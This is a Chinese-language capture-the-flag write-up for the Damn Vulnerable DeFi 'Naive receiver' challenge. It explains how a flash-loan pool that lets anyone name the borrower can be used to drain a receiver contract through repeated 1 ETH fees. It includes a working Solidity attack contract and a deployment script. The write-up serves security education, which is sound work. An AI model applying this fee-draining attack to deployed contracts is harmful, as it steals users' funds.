DamnVulnerableDeFi-Naive receiver题解

挑战题目描述网站：https://www.damnvulnerabledefi.xyz/
挑战题目源码地址：https://github.com/tinchoabbate/damn-vulnerable-defi

Naive receiver

题目描述：
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.

Take all ETH out of the user’s contract. If possible, in a single transaction.

解析

题意：题目的意思是说有一个提供闪电贷的池子，User 部署了一个 10 ETH 可以跟前面所说的池子交互的合约，我们需要攻击用户把用户的 ETH 全部耗尽。

首先我们来看看闪电贷池子的合约：

我们可以观察到 flashloan 的接收者也就是 receiver 可以不是发起 transaction 的 msg.sender，而是可以任意指定的满足 IERC3156FlashBorrower 的池子。

而我们再去观察 User deploy 的合约发现合约已经实现了 IERC3156 标准。我们只需要一个 for 循环把 user deploy 的合约地址执行 10 次闪电贷（每次手续费 1 ETH，User 部署是 deposit 了 10 ETH）就可以了。

题解

题目要求是尽可能放在同一笔 transaction 那么我们需要部署一个合约。

AttackNaiveReceiver.sol

Copy
contract AttackNaiveReceiver {
NaiveReceiverLenderPool pool;
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address owner;

constructor(address payable _pool, address _owner) {
pool = NaiveReceiverLenderPool(_pool);
owner = _owner;
}

function attack(address victim) public {
require(msg.sender == owner, "only owner can attack");
for (int i=0; i < 10; i++ ) {
pool.flashLoan(IERC3156FlashBorrower(victim), ETH, 0 ether, "");
}
}
}

在 js 脚本中部署合约还有发起攻击：

Copy
const attackContract = await ethers.getContractFactory('AttackNaiveReceiver', player);
const attack = await attackContract.deploy(pool.address, player.address);
await attack.attack(receiver.address);

完整题解地址：https://github.com/fenghaojiang/damn-vulnerable-defi